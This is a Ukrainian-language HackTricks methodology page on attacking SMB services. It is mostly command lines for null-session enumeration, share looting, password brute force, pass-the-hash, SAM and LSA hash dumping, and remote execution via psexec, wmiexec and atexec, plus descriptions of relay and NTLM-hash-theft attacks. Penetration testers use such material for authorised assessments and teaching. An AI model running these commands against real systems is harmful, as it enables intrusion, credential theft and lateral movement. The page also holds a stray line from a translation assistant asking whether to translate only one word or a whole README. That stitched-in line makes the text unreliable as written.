139,445 - Pentesting SMB

Reading time: 21 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Порт 139

Мережевий базовий механізм вводу/виводу** (NetBIOS)** — це програмний протокол, призначений для того, щоб дозволити застосункам, ПК та робочим станціям у локальній мережі (LAN) взаємодіяти з мережевим обладнанням і сприяти передачі даних по мережі. Ідентифікація та визначення розташування програм, що працюють у мережі NetBIOS, здійснюються за допомогою їхніх NetBIOS names, які можуть налічувати до 16 символів і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома застосунками ініціюється, коли один застосунок (що виступає як клієнт) посилає команду "call" іншому застосунку (що виступає як сервер), використовуючи TCP Port 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Порт 445

Технічно Port 139 називають «NBT over IP», тоді як Port 445 ідентифікують як «SMB over IP». Абревіатура SMB означає «Server Message Blocks», що сучасно також відома як Common Internet File System (CIFS). Як протокол прикладного рівня мережі, SMB/CIFS здебільшого використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та для полегшення різних форм комунікації між вузлами в мережі.

Наприклад, у контексті Windows підкреслюють, що SMB може працювати безпосередньо поверх TCP/IP, усуваючи необхідність у NetBIOS over TCP/IP, через використання порту 445. Натомість на інших системах спостерігається застосування порту 139, що вказує на виконання SMB спільно з NetBIOS over TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Протокол Server Message Block (SMB), що працює в client-server моделі, призначений для регулювання access to files, каталогів та інших мережевих ресурсів, таких як принтери і маршрутизатори. Переважно використовується в серії операційних систем Windows; SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями ОС Microsoft безперебійно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проєкт Samba пропонує вільне програмне рішення для реалізації SMB на системах Linux та Unix, що полегшує кросплатформену комунікацію через SMB.

Shares, що представляють arbitrary parts of the local file system, можуть бути надані SMB сервером, роблячи ієрархію видимою для клієнта частково independent від фактичної структури сервера. Access Control Lists (ACLs), які визначають access rights, дозволяють здійснювати fine-grained control над правами користувачів, включно з атрибутами такими як execute, read та full access. Ці дозволи можна призначити окремим користувачам або групам залежно від shares, і вони відрізняються від локальних прав, встановлених на сервері.

IPC$ Share

Доступ до IPC$ share можна отримати через анонімну null session, що дозволяє взаємодіяти з сервісами, які відкриті через named pipes. Утиліта enum4linux корисна для цієї мети. При правильному використанні вона дозволяє отримати:

  • Інформацію про операційну систему
  • Деталі про батьківський домен
  • Перелік локальних користувачів і груп
  • Інформацію про наявні SMB shares
  • Ефективну політику безпеки системи

Ця функціональність є критичною для мережевих адміністраторів та фахівців з безпеки для оцінки стану безпеки служб SMB (Server Message Block) у мережі. enum4linux надає всебічний огляд SMB середовища цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.

bash
enum4linux -a target_ip

Вищенаведена команда — приклад того, як enum4linux може бути використаний для проведення повного enumeration щодо цілі, вказаної як target_ip.

Що таке NTLM

Якщо ви не знаєте, що таке NTLM або хочете дізнатися, як він працює і як ним зловживати, вам буде дуже цікава ця сторінка про NTLM, де пояснюється як цей протокол працює і як ви можете ним скористатися:

NTLM

Server Enumeration

Scan мережу в пошуку хостів:

bash
nbtscan -r 192.168.0.1/24

Версія SMB-сервера

Щоб шукати можливі експлойти для версії SMB, важливо знати, яка саме версія використовується. Якщо ця інформація не з'являється в інших інструментах, які ви використовуєте, ви можете:

  • Використайте допоміжний модуль MSF **auxiliary/scanner/smb/smb_version**
  • Або цей скрипт:
bash
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Пошук exploit

bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Можливі облікові дані

Ім'я(я) користувачаПоширені паролі
(blank)(blank)
guest(blank)
Administrator, admin(blank), password, administrator, admin
arcservearcserve, backup
tivoli, tmersrvdtivoli, tmersrvd, admin
backupexec, backupbackupexec, backup, arcada
test, lab, demopassword, test, lab, demo

Brute Force

Інформація про середовище SMB

Отримання інформації

bash
#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Перелічення користувачів, груп і поточних увійшених користувачів

Ця інформація вже має бути зібрана за допомогою enum4linux та enum4linux-ng

bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Перелічити локальних користувачів

Impacket

bash
lookupsid.py -no-pass hostname.local

Однорядкова команда

bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Перерахування локальних користувачів

bash
use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Enumerating LSARPC and SAMR rpcclient

rpcclient enumeration

GUI підключення з linux

У терміналі:

xdg-open smb://cascade.htb/

У вікні файлового менеджера (nautilus, thunar, тощо)

smb://friendzone.htb/general/

Спільні папки Enumeration

Перелічити спільні папки

Завжди рекомендується перевірити, чи можете ви отримати доступ до чогось. Якщо у вас немає облікових даних, спробуйте використовувати null credentials/guest user.

bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Підключити/Переглянути спільну папку

bash
#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Вручну перелічити windows shares і підключитися до них

Може трапитися, що вам заборонено показувати будь-які shares на хості, і при спробі їх перерахувати здається, що немає жодних shares для підключення. Тому варто коротко спробувати вручну підключитися до конкретного share. Щоб вручну перелічити shares, звертайте увагу на відповіді типу NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME при використанні валідної сесії (наприклад, null session або valid credentials). Вони можуть вказувати, чи існує share і ви не маєте до нього доступу, або ж share взагалі не існує.

Common share names for windows targets are

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Common share names from Network Security Assessment 3rd edition)

Ви можете спробувати підключитися до них, використавши наступну команду

bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

або цей скрипт (використовуючи null session)

bash
#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

"examples" — "приклади"

Вам потрібно перекласти лише це слово, чи весь файл README.md? Якщо весь файл — вставте вміст сюди.

bash
smbclient -U '%' -N \\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Перелічити shares з Windows / без сторонніх інструментів

PowerShell

bash
# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD консоль

shell
# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (графічний)

shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (графічно), введіть \\<ip>\, щоб побачити доступні неприховані shares.

Підключити спільну папку

bash
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Завантажити файли

Прочитайте попередні розділи, щоб дізнатися, як підключитися за допомогою credentials/Pass-the-Hash.

bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
bash
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Команди:

  • mask: вказує маску, яка використовується для фільтрації файлів у каталозі (e.g. "" for all files)
  • recurse: увімкнути рекурсію (за замовчуванням: off)
  • prompt: вимикає запит імен файлів (за замовчуванням: on)
  • mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину

(Інформація з manpage smbclient)

Пошук спільних папок домену

bash
Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec spider.
  • -M spider_plus [--share <share_name>]
  • --pattern txt
bash
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Особливо цікавими у шарах є файли під назвою Registry.xml, оскільки вони may contain passwords для користувачів, налаштованих із autologon через Group Policy. Або web.config файли, оскільки вони містять облікові дані.

tip

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts.
Ви повинні check scripts всередині неї, оскільки ви можете find чутливу інформацію, таку як passwords.

Читання реєстру

Ви можете мати змогу read the registry використовуючи знайдені облікові дані. Impacket reg.py дозволяє вам спробувати:

bash
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

Конфігурація за замовчуванням Samba сервера зазвичай знаходиться в /etc/samba/smb.conf і може містити деякі небезпечні налаштування:

НалаштуванняОпис
browseable = yesДозволяє перераховувати доступні шари?
read only = noЗабороняє створення та зміну файлів?
writable = yesДозволяє користувачам створювати та змінювати файли?
guest ok = yesДозволяє підключатися до сервісу без пароля?
enable privileges = yesДотримуватися привілеїв, призначених конкретному SID?
create mask = 0777Які дозволи мають бути призначені новоствореним файлам?
directory mask = 0777Які дозволи мають бути призначені новоствореним директоріям?
logon script = script.shЯкий скрипт повинен виконуватися при вході користувача?
magic script = script.shЯкий скрипт має виконуватися при закритті скрипта?
magic output = script.outДе має зберігатися вивід magic script?

Команда smbstatus надає інформацію про сервер та про хто підключений.

Аутентифікація через Kerberos

Ви можете автентифікуватися до Kerberos за допомогою інструментів smbclient та rpcclient:

bash
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

У середовищах, де використовується лише Kerberos (NTLM вимкнено), спроби NTLM проти SMB можуть повертати STATUS_NOT_SUPPORTED. Виправте типові проблеми з Kerberos і примусьте аутентифікацію Kerberos:

bash
# sync clock to avoid KRB_AP_ERR_SKEW
sudo ntpdate <dc.fqdn>

# use Kerberos with tooling (reads your TGT from ccache)
netexec smb <dc.fqdn> -k

Для повної конфігурації клієнта (генерація krb5.conf, kinit, застереження щодо SSH GSSAPI/SPN) див.:

88tcp/udp - Pentesting Kerberos

Виконання команд

crackmapexec

crackmapexec може виконувати команди, зловживаючи будь-яким з mmcexec, smbexec, atexec, wmiexec, причому wmiexec є методом за замовчуванням. Ви можете вказати, який варіант бажаєте використовувати, за допомогою параметра --exec-method:

bash
apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Обидва варіанти створюють нову службу (використовуючи \pipe\svcctl через SMB) на машині жертви та використовують її, щоб виконати щось (psexec буде upload виконуваний файл до ADMIN$ share, а smbexec вкаже на cmd.exe/powershell.exe і помістить у аргументи payload — file-less technique).
Більше інформації про psexec та smbexec.
У kali він знаходиться в /usr/share/doc/python3-impacket/examples/

bash
#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Використовуючи параметр-k ви можете автентифікуватися через kerberos замість NTLM

wmiexec/dcomexec

Приховано запустити командну оболонку без запису на диск або запуску нового сервісу, використовуючи DCOM через port 135.
У kali він знаходиться на /usr/share/doc/python3-impacket/examples/

bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Використовуючи параметр-k ви можете аутентифікуватися за допомогою kerberos замість NTLM

bash
#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Виконує команди через Task Scheduler (використовуючи \pipe\atsvc через SMB).
У kali він знаходиться в /usr/share/doc/python3-impacket/examples/

bash
./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Посилання на Impacket

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

ksmbd attack surface and SMB2/SMB3 protocol fuzzing (syzkaller)

Ksmbd Attack Surface And Fuzzing Syzkaller

Bruteforce users credentials

Не рекомендується — ви можете заблокувати обліковий запис, якщо перевищите максимально дозволену кількість спроб

bash
nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

Ця атака використовує набір інструментів Responder для перехоплення SMB-сесій аутентифікації у внутрішній мережі та переспрямування їх на цільову машину. Якщо аутентифікація сесії є успішною, вона автоматично надасть вам системний shell.
Більше інформації про цю атаку тут.

SMB-Trap

Бібліотека Windows URLMon.dll автоматично намагається аутентифікуватися на хості, коли сторінка намагається отримати доступ до вмісту через SMB, наприклад: img src="\\10.10.10.10\path\image.jpg"

This happens with the functions:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Which are used by some browsers and tools (like Skype)

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap з використанням MitMf

From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

NTLM Theft

Подібно до SMB Trapping, розміщення шкідливих файлів на цільовій системі (наприклад, через SMB) може спричинити спробу SMB-аутентифікації, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструмента, такого як Responder. Потім хеш можна зламати офлайн або використати в SMB relay attack.

See: ntlm_theft

HackTricks Автоматичні команди

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks